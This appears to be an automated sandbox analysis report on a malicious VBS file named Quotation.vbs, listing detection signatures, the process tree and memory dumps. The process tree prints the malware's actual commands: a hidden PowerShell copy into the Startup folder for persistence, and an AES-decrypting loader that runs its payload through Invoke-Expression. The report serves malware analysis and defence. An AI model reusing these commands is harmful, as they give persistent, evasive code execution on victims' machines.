Analysis
- max time kernel
149s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260629-en - resource tags
- submitted
29/06/2026, 12:38
General
- Target Quotation.vbs
- Size 2.5MB
- Sample260629-pvccpsfs7m
- SHA256 c1a9bbd83fb51bd76cb2891dee3ed8d09b698c4d224e84cbe711eb8a2ed4fbd9
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Drops startup file 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Quotation.vbs"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\Quotation.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Quotation.vbs' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command " try { $gregarian = [System.Text.Encoding]::UTF8.GetBytes('SvCHERT389iq1Kx8'); if ($gregarian.Length -lt 32) { $gregarian = $gregarian + (0..(31 - $gregarian.Length)) }; $supranatural = [System.Convert]::FromBase64String($env:P1+$env:P2); $croplike = $supranatural[0..15]; $connecticuter = $supranatural[16..($supranatural.Length-1)]; $telefocal = [System.Security.Cryptography.Aes]::Create(); $telefocal.Key = $gregarian; $telefocal.IV = $croplike; $salicylates = $telefocal.CreateDecryptor(); $nonaccepted = $salicylates.TransformFinalBlock($connecticuter, 0, $connecticuter.Length); $shortgrass = [System.Text.Encoding]::UTF8.GetString($nonaccepted); Invoke-Expression $shortgrass; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
memory/1292-4-0x00000284BC970000-0x00000284BC992000-memory.dmp
memory/1292-1-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-5-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-6-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-7-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-8-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-9-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-10-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-11-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-14-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-13-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/1292-0-0x00007FF989F9F000-0x00007FF989FA0000-memory.dmp
memory/2436-15-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-26-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-18-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-19-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-22-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-24-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-25-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-17-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-27-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-28-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-29-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-30-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-16-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp
memory/2436-32-0x00007FF989E10000-0x00007FF98A7B4000-memory.dmp